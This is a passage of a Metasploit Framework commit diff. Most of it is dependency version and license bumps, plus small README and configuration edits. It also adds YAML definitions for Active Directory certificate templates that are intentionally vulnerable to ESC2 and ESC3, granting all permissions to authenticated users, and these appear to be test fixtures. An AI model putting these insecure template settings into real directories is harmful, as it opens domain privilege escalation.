rspec-support (3.13.1)
|
||||
rubocop (1.63.2)
|
||||
json (~> 2.3)
|
||||
language_server-protocol (>= 3.17.0)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.2.2.3)
|
||||
parser (>= 3.3.0.2)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.28.1, < 2.0)
|
||||
rubocop-ast (>= 1.31.1, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 2.4.0, < 3.0)
|
||||
rubocop-ast (1.29.0)
|
||||
parser (>= 3.2.1.0)
|
||||
ruby-macho (4.0.0)
|
||||
rubocop-ast (1.31.2)
|
||||
parser (>= 3.3.0.4)
|
||||
ruby-macho (4.0.1)
|
||||
ruby-mysql (4.1.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.3.1)
|
||||
bindata
|
||||
ruby_smb (3.3.7)
|
||||
bindata (= 2.4.15)
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
rubyntlm
|
||||
@@ -490,10 +492,10 @@ GEM
|
||||
simplecov-html (0.12.3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
sinatra (3.1.0)
|
||||
sinatra (3.2.0)
|
||||
mustermann (~> 3.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.1.0)
|
||||
rack-protection (= 3.2.0)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.6.6)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
@@ -501,19 +503,20 @@ GEM
|
||||
strptime (0.2.5)
|
||||
swagger-blocks (3.0.0)
|
||||
systemu (2.6.5)
|
||||
test-prof (1.2.3)
|
||||
test-prof (1.3.2)
|
||||
thin (1.8.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.2.2)
|
||||
thor (1.3.1)
|
||||
tilt (2.3.0)
|
||||
timecop (0.9.8)
|
||||
timeout (0.4.0)
|
||||
ttfunk (1.7.0)
|
||||
timeout (0.4.1)
|
||||
ttfunk (1.8.0)
|
||||
bigdecimal (~> 3.1)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2023.3)
|
||||
tzinfo-data (1.2024.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
@@ -544,8 +547,8 @@ GEM
|
||||
activesupport (>= 4.2, < 8.0)
|
||||
xmlrpc (0.3.3)
|
||||
webrick
|
||||
yard (0.9.34)
|
||||
zeitwerk (2.6.12)
|
||||
yard (0.9.36)
|
||||
zeitwerk (2.6.13)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
+88
-87
@@ -1,58 +1,59 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 7.0.8, MIT
|
||||
actionview, 7.0.8, MIT
|
||||
activemodel, 7.0.8, MIT
|
||||
activerecord, 7.0.8, MIT
|
||||
activesupport, 7.0.8, MIT
|
||||
addressable, 2.8.5, "Apache 2.0"
|
||||
actionpack, 7.0.8.1, MIT
|
||||
actionview, 7.0.8.1, MIT
|
||||
activemodel, 7.0.8.1, MIT
|
||||
activerecord, 7.0.8.1, MIT
|
||||
activesupport, 7.0.8.1, MIT
|
||||
addressable, 2.8.6, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
allure-rspec, 2.23.0, "Apache 2.0"
|
||||
allure-ruby-commons, 2.23.0, "Apache 2.0"
|
||||
allure-rspec, 2.24.3, "Apache 2.0"
|
||||
allure-ruby-commons, 2.24.3, "Apache 2.0"
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.834.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.185.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.411.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.34.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.87.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.72.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.136.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.158.0, "Apache 2.0"
|
||||
aws-sigv4, 1.6.0, "Apache 2.0"
|
||||
base64, 0.1.1, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.19, MIT
|
||||
aws-eventstream, 1.3.0, "Apache 2.0"
|
||||
aws-partitions, 1.915.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.192.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.450.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.38.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.96.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.79.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.147.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.166.0, "Apache 2.0"
|
||||
aws-sigv4, 1.8.0, "Apache 2.0"
|
||||
base64, 0.2.0, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.20, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bigdecimal, 3.1.7, "ruby, Simplified BSD"
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.16.0, MIT
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
bootsnap, 1.18.3, MIT
|
||||
bson, 5.0.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
chunky_png, 1.4.0, MIT
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.2.2, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
concurrent-ruby, 1.2.3, MIT
|
||||
cookiejar, 0.3.4, "Simplified BSD"
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.4.1, MIT
|
||||
date, 3.3.3, "ruby, Simplified BSD"
|
||||
date, 3.3.4, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.70.0, "Apache 2.0"
|
||||
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
|
||||
dnsruby, 1.72.1, "Apache 2.0"
|
||||
docile, 1.4.0, MIT
|
||||
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
ed25519, 1.3.0, MIT
|
||||
em-http-request, 1.1.7, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubi, 1.12.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 3.2.1, MIT
|
||||
factory_bot, 6.4.6, MIT
|
||||
factory_bot_rails, 6.4.3, MIT
|
||||
faker, 3.3.1, MIT
|
||||
faraday, 2.7.11, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.2.0, MIT
|
||||
faraday-retry, 2.2.1, MIT
|
||||
faye-websocket, 0.11.3, "Apache 2.0"
|
||||
ffi, 1.16.3, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
@@ -65,76 +66,76 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
http-cookie, 1.0.5, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.14.1, MIT
|
||||
io-console, 0.6.0, "ruby, Simplified BSD"
|
||||
i18n, 1.14.4, MIT
|
||||
io-console, 0.7.2, "ruby, Simplified BSD"
|
||||
irb, 1.7.4, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.3, ruby
|
||||
json, 2.7.2, ruby
|
||||
language_server-protocol, 3.17.0.3, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.1, MIT
|
||||
loofah, 2.21.3, MIT
|
||||
loofah, 2.22.0, MIT
|
||||
macaddr, 1.7.2, ruby
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.2, "New BSD"
|
||||
metasploit-credential, 6.0.6, "New BSD"
|
||||
metasploit-framework, 6.3.51, "New BSD"
|
||||
metasploit-credential, 6.0.9, "New BSD"
|
||||
metasploit-framework, 6.4.9, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.161, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 2.0.166, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.3, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mime-types, 3.5.1, MIT
|
||||
mime-types-data, 3.2023.1003, MIT
|
||||
mini_portile2, 2.8.4, MIT
|
||||
minitest, 5.20.0, MIT
|
||||
method_source, 1.1.0, MIT
|
||||
mime-types, 3.5.2, MIT
|
||||
mime-types-data, 3.2024.0305, MIT
|
||||
mini_portile2, 2.8.6, MIT
|
||||
minitest, 5.22.3, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 3.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-imap, 0.4.0, "ruby, Simplified BSD"
|
||||
net-ldap, 0.18.0, MIT
|
||||
net-protocol, 0.2.1, "ruby, Simplified BSD"
|
||||
net-smtp, 0.4.0, "ruby, Simplified BSD"
|
||||
net-ssh, 7.2.0, MIT
|
||||
net-imap, 0.4.10, "ruby, Simplified BSD"
|
||||
net-ldap, 0.19.0, MIT
|
||||
net-protocol, 0.2.2, "ruby, Simplified BSD"
|
||||
net-smtp, 0.5.0, "ruby, Simplified BSD"
|
||||
net-ssh, 7.2.3, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.9, MIT
|
||||
nio4r, 2.7.1, "MIT, Simplified BSD"
|
||||
nokogiri, 1.14.5, MIT
|
||||
nori, 2.6.0, MIT
|
||||
nori, 2.7.0, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.23.0, MIT
|
||||
parser, 3.2.2.4, MIT
|
||||
parallel, 1.24.0, MIT
|
||||
parser, 3.3.0.5, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.11.0, MIT
|
||||
pg, 1.5.4, "Simplified BSD"
|
||||
pcaprub, 0.13.2, LGPL-2.1
|
||||
pdf-reader, 2.12.0, MIT
|
||||
pg, 1.5.6, "Simplified BSD"
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 5.0.3, MIT
|
||||
puma, 6.4.0, "New BSD"
|
||||
racc, 1.7.1, "ruby, Simplified BSD"
|
||||
rack, 2.2.8, MIT
|
||||
rack-protection, 3.1.0, MIT
|
||||
public_suffix, 5.0.5, MIT
|
||||
puma, 6.4.2, "New BSD"
|
||||
racc, 1.7.3, "ruby, Simplified BSD"
|
||||
rack, 2.2.9, MIT
|
||||
rack-protection, 3.2.0, MIT
|
||||
rack-test, 2.1.0, MIT
|
||||
rails-dom-testing, 2.2.0, MIT
|
||||
rails-html-sanitizer, 1.6.0, MIT
|
||||
railties, 7.0.8, MIT
|
||||
railties, 7.0.8.1, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rasn1, 0.12.1, MIT
|
||||
rake, 13.2.1, MIT
|
||||
rasn1, 0.13.0, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.1.2, unknown
|
||||
recog, 3.1.5, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.8.1, MIT
|
||||
reline, 0.3.8, ruby
|
||||
regexp_parser, 2.9.0, MIT
|
||||
reline, 0.5.2, ruby
|
||||
require_all, 3.0.0, MIT
|
||||
rex-arch, 0.1.15, "New BSD"
|
||||
rex-bin_tools, 0.1.9, "New BSD"
|
||||
@@ -149,50 +150,50 @@ rex-powershell, 0.1.99, "New BSD"
|
||||
rex-random_identifier, 0.1.11, "New BSD"
|
||||
rex-registry, 0.1.5, "New BSD"
|
||||
rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.55, "New BSD"
|
||||
rex-socket, 0.1.57, "New BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.53, "New BSD"
|
||||
rex-text, 0.2.57, "New BSD"
|
||||
rex-zip, 0.1.5, "New BSD"
|
||||
rexml, 3.2.6, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.2, MIT
|
||||
rspec-expectations, 3.12.3, MIT
|
||||
rspec-mocks, 3.12.6, MIT
|
||||
rspec-rails, 6.0.3, MIT
|
||||
rspec, 3.13.0, MIT
|
||||
rspec-core, 3.13.0, MIT
|
||||
rspec-expectations, 3.13.0, MIT
|
||||
rspec-mocks, 3.13.0, MIT
|
||||
rspec-rails, 6.1.2, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.12.1, MIT
|
||||
rubocop, 1.56.4, MIT
|
||||
rubocop-ast, 1.29.0, MIT
|
||||
ruby-macho, 4.0.0, MIT
|
||||
rspec-support, 3.13.1, MIT
|
||||
rubocop, 1.63.2, MIT
|
||||
rubocop-ast, 1.31.2, MIT
|
||||
ruby-macho, 4.0.1, MIT
|
||||
ruby-mysql, 4.1.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.3.1, "New BSD"
|
||||
ruby_smb, 3.3.7, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 3.1.0, MIT
|
||||
sinatra, 3.2.0, MIT
|
||||
sqlite3, 1.6.6, "New BSD"
|
||||
sshkey, 3.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
systemu, 2.6.5, ruby
|
||||
test-prof, 1.2.3, MIT
|
||||
test-prof, 1.3.2, MIT
|
||||
thin, 1.8.2, "GPL-2.0+, ruby"
|
||||
thor, 1.2.2, MIT
|
||||
thor, 1.3.1, MIT
|
||||
tilt, 2.3.0, MIT
|
||||
timecop, 0.9.8, MIT
|
||||
timeout, 0.4.0, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
timeout, 0.4.1, "ruby, Simplified BSD"
|
||||
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2023.3, MIT
|
||||
tzinfo-data, 1.2024.1, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.5.0, MIT
|
||||
@@ -207,5 +208,5 @@ windows_error, 0.1.5, BSD
|
||||
winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.3, "ruby, Simplified BSD"
|
||||
yard, 0.9.34, MIT
|
||||
zeitwerk, 2.6.12, MIT
|
||||
yard, 0.9.36, MIT
|
||||
zeitwerk, 2.6.13, MIT
|
||||
|
||||
@@ -34,10 +34,8 @@ Using Metasploit
|
||||
--
|
||||
Metasploit can do all sorts of things. The first thing you'll want to do
|
||||
is start `msfconsole`, but after that, you'll probably be best served by
|
||||
reading [Metasploit Unleashed][unleashed], the [great community
|
||||
resources](https://metasploit.github.io), or take a look at the
|
||||
[Using Metasploit](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
|
||||
page on the documentation website.
|
||||
reading the basics of [using Metasploit](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
|
||||
or [Metasploit Unleashed][unleashed].
|
||||
|
||||
Contributing
|
||||
--
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
|
||||
# Creates a template that will be vulnerable to ESC1 (subject name supplied in
|
||||
# the request). Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC2 (any purpose EKU).
|
||||
# Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: 0
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExtendedKeyUsage:
|
||||
# Any Purpose OID
|
||||
- 2.5.29.37.0
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
|
||||
msPKI-Certificate-Name-Flag: 0x82000000
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
@@ -0,0 +1,30 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC3 (certificate request agent EKU).
|
||||
# Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: 0
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExtendedKeyUsage:
|
||||
# Certificate Request Agent OID
|
||||
- 1.3.6.1.4.1.311.20.2.1
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
|
||||
msPKI-Certificate-Name-Flag: 0x82000000
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
@@ -224,6 +224,7 @@ queries:
|
||||
- adminCount
|
||||
- managedBy
|
||||
- groupAttributes
|
||||
- objectSID
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- action: ENUM_GROUP_POLICY_OBJECTS
|
||||
|
||||
@@ -16,6 +16,8 @@ services:
|
||||
enabled: yes
|
||||
- type: IMAP
|
||||
enabled: yes
|
||||
- type: LDAP
|
||||
enabled: yes
|
||||
- type: MSSQL
|
||||
enabled: yes
|
||||
- type: MySQL
|
||||
|
||||
@@ -0,0 +1,244 @@
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<schema name="default-config" version="1.6">
|
||||
|
||||
<field name="id" type="string" indexed="true" stored="true" required="true" multiValued="false" />
|
||||
<field name="_version_" type="plong" indexed="false" stored="false"/>
|
||||
<field name="_root_" type="string" indexed="true" stored="false" docValues="false" />
|
||||
<field name="_nest_path_" type="_nest_path_" /><fieldType name="_nest_path_" class="solr.NestPathField" />
|
||||
<field name="_text_" type="text_general" indexed="true" stored="false" multiValued="true"/>
|
||||
<dynamicField name="*_i" type="pint" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_is" type="pints" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_s" type="string" indexed="true" stored="true" />
|
||||
<dynamicField name="*_ss" type="strings" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_l" type="plong" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_ls" type="plongs" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_t" type="text_general" indexed="true" stored="true" multiValued="false"/>
|
||||
<dynamicField name="*_txt" type="text_general" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_b" type="boolean" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_bs" type="booleans" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_f" type="pfloat" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_fs" type="pfloats" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_d" type="pdouble" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_ds" type="pdoubles" indexed="true" stored="true"/>
|
||||
<dynamicField name="random_*" type="random"/>
|
||||
<dynamicField name="ignored_*" type="ignored"/>
|
||||
<dynamicField name="*_str" type="strings" stored="false" docValues="true" indexed="false" useDocValuesAsStored="false"/>
|
||||
<dynamicField name="*_dt" type="pdate" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dts" type="pdate" indexed="true" stored="true" multiValued="true"/>
|
||||
<dynamicField name="*_p" type="location" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_srpt" type="location_rpt" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dpf" type="delimited_payloads_float" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dpi" type="delimited_payloads_int" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dps" type="delimited_payloads_string" indexed="true" stored="true"/>
|
||||
<dynamicField name="attr_*" type="text_general" indexed="true" stored="true" multiValued="true"/>
|
||||
<uniqueKey>id</uniqueKey>
|
||||
<fieldType name="string" class="solr.StrField" sortMissingLast="true" docValues="true" />
|
||||
<fieldType name="strings" class="solr.StrField" sortMissingLast="true" multiValued="true" docValues="true" />
|
||||
<fieldType name="boolean" class="solr.BoolField" sortMissingLast="true"/>
|
||||
<fieldType name="booleans" class="solr.BoolField" sortMissingLast="true" multiValued="true"/>
|
||||
<fieldType name="pint" class="solr.IntPointField" docValues="true"/>
|
||||
<fieldType name="pfloat" class="solr.FloatPointField" docValues="true"/>
|
||||
<fieldType name="plong" class="solr.LongPointField" docValues="true"/>
|
||||
<fieldType name="pdouble" class="solr.DoublePointField" docValues="true"/>
|
||||
<fieldType name="pints" class="solr.IntPointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="pfloats" class="solr.FloatPointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="plongs" class="solr.LongPointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="pdoubles" class="solr.DoublePointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="random" class="solr.RandomSortField" indexed="true"/>
|
||||
<fieldType name="ignored" stored="false" indexed="false" multiValued="true" class="solr.StrField" />
|
||||
<fieldType name="pdate" class="solr.DatePointField" docValues="true"/>
|
||||
<fieldType name="pdates" class="solr.DatePointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="binary" class="solr.BinaryField"/>
|
||||
<fieldType name="rank" class="solr.RankField"/>
|
||||
<dynamicField name="*_ws" type="text_ws" indexed="true" stored="true"/>
|
||||
<fieldType name="text_ws" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<fieldType name="text_general" class="solr.TextField" positionIncrementGap="100" multiValued="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_t_sort" type="text_gen_sort" indexed="true" stored="true" multiValued="false"/>
|
||||
<dynamicField name="*_txt_sort" type="text_gen_sort" indexed="true" stored="true"/>
|
||||
<fieldType name="text_gen_sort" class="solr.SortableTextField" positionIncrementGap="100" multiValued="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_en" type="text_en" indexed="true" stored="true"/>
|
||||
<fieldType name="text_en" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="englishPossessive"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="englishPossessive"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_en_split" type="text_en_splitting" indexed="true" stored="true"/>
|
||||
<fieldType name="text_en_splitting" class="solr.TextField" positionIncrementGap="100" autoGeneratePhraseQueries="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="1" generateNumberParts="1" catenateWords="1" catenateNumbers="1" catenateAll="0" splitOnCaseChange="1"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
<filter name="flattenGraph" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="1" generateNumberParts="1" catenateWords="0" catenateNumbers="0" catenateAll="0" splitOnCaseChange="1"/>
|
||||
